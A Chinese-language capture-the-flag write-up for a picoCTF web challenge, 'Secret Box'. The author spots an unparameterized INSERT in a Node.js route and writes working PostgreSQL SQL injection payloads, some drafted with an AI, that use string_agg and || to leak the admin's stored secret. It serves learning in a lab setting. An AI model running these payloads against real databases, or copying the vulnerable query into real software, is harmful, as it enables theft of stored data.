WriteUp
Secret Box
2 分鐘
約 408 字
分類:Web
難度:Medium
工具 #
AI(僅為我生成 Payload)
過程 #
- 題目提供原始碼,複製原始碼連結後,解壓縮
wget https://challenge-files.picoctf.net/c_candy_mountain/553676afdc074dca014e742ab44960e340c5e96475945ed9da8334d27881fc15/source.tar.gz
tar -xvf source.tar.gz
- 看了看原始碼,發現
/app/src/server.js與/db/initdb.sql很有問題,/app/src/server.js大多數 SQL 語句都使用了參數化查詢,但唯獨在app.post('/secrets/create'...這一方法中沒有使用參數化查詢
app.post('/secrets/create', authMiddleware, async (req, res) => {
const userId = req.userId;
if (!userId){
// if user didn't login, redirect to index page
res.clearCookie('auth_token');
return res.redirect('/');
}
const content = req.body.content;
const query = await db.raw(
`INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`
);
return res.redirect('/');
});
INSERT INTO users(id, username, password) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'admin', 'fake_password');
INSERT INTO secrets(owner_id, content) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'picoCTF{fake_flag}');
- 著重於
INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')這一行,可以發現沒有使用參數化查詢,而是直接將 content 插入,所以可以任意註冊後登入,並在 Create Secret 嘗試 SQL Injection。 - 由於我真的不想為 CTF 而從頭學 PostgreSQL 的 SQL 語法,所以叫 AI 嘗試給我 Payload
(這時還沒提說這是 PostgreSQL)(然後我竟然還將參數 ${userId} 二次使用還沒發現 o.O)
'), ('${userId}', (SELECT group_concat(content) FROM secrets WHERE owner_id = 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb')) --
(PostgreSQL 沒有 group_concat,所以 AI 改用 string_agg)
'), ('${userId}', (SELECT string_agg(content, ',') FROM secrets WHERE owner_id = 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb')) --
正解
' || (SELECT string_agg(content, ',') FROM secrets WHERE owner_id = 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb')) --
其實也不一定要是 Admin 的 Secrets,直接把整張表爆出來也可以
' || (SELECT content FROM secrets LIMIT 1)) --
' || (SELECT content FROM secrets LIMIT 1) || '
flag 就出來啦
New Point #
連接字串 #
在 PostgreSQL 中,|| 是字串串接運算子
'Post' || 'greSQL'
結果
'PostgreSQL'
STRING_AGG #
用於將分組中的多行字串值連接成一個由指定分隔符號分開的單一字串
STRING_AGG ( expression, separator [ ORDER BY order_by_clause ] )